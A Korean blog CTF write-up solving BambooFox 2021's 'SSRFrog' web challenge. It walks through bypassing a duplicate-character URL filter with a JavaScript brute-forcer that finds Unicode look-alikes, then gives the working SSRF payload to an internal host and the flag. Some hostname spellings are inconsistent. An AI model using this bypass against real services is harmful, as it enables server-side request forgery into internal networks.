[CTF] BambooFox CTF 2021

SSRFrog (Webhacking)

レ(゚∀゚)ヘ=3 2023. 12. 21. 09:54
728x90

[CTF 사이트 닫힘]

문제를 보면 링크가 제공된다.

링크로 들어가면 위와 같이 페이지가 나오고, 소스를 확인해준다.

1) FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80을 통해 FLAG가 어디에 위치하는지 확인하였다.

2)

위와 같은 소스 코드를 제공받았다.

3)

const { url } = req.query; 
: req.query(쿼리 문자열 매개 변수에 대한 속성이 포함 된 개체다.)을 통해 “url” 쿼리 문자열 매개 변수를 찾고 있음

4) if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

: 문자열이어야 하고 중복 문자를 가질 수 없다. 중복 문자에 대한 검사는 Set()을 통해 이뤄진다. 

더보기

new Set(url) : url 문자열을 가져 와서 문자열에 있는 고유 한 문자를 중복 없이 집합으로 나눈다.

코드를 통해서 중복된 문자를 사용하지 않고 우회해서 http://the.c0o0o0l-fl444g.server.internal:80을 만들어야 한다.

일단 Set()을 사용하므로 T와 t는 다른 문자로 인식하므로 ‘http’를 ‘HTtP’로 변경해준다.

그리고 ‘//’은 완전히 생략할 수 있고, 맨 마지막의 ‘80’은 프로토콜의 기본값이므로 필요하지 않다. 정리해보면, ‘HTtP:the.c0o0o01-fl444g.server.internal’을 우회해주면 된다.

여기서 T와 t를 이미 사용했기 때문에 t로 정규화되는 다른 유니 코드 문자를 찾아야 했다.

 

공격코드

function findVariants(targetChar) {
	let targetHost = 'fake' + targetChar + '.com';
    for (i=32; i<=65535; i++){
    	let candidateChar = String.fromCharCode(i);
        let input = 'http://fake' + candidateChar + '.com';
        try {
        	let url = new URL(input);
            if (url.hostname === targetHost){
            	console.log(targetChar, ':' , i, candidateChar);
            }
        }
        catch(e){
        }
    }
}

let domain = 'the.c0o0o01-fl444g.server.internal';
let domainSet = new Set(domain);
for (c of domainSet){
	findVariants(c)
}

위 자바 스크립트 코드는 구하고자 하는 도메인 이름을 가져와서 Set()으로 변환을 하고 각 문자에 대해 findVariants()함수에 주어진 targetChar로 정규화 되는 유니 코드 문자를 찾도록 요청한다.

실행결과

코드를 실행하면 위와 같이 다른 유니 코드 문자들을 찾을 수 있었다.

찾은 문자들로 중복 없이 HTtP:the.c0o0o01-fl444g.server.internal’을 만들어 주면 HTtP:ᵗhe.c0o⁰O₀l-fL4⁴₄g.sErvᵉRinₜₑʳNaˡ’ 얻을 수 있다. 

이 값을 URL에 입력해주면 flag인 flag{C0o0o0oL_baby_ssrf_trick} 리턴해준다. 

 

 

 

'[CTF] BambooFox CTF 2021' 카테고리의 다른 글

Calc.exe Online(webhacking)  (0) 2023.12.21
ヽ (#`Д´) ノ(web)  (0) 2023.12.21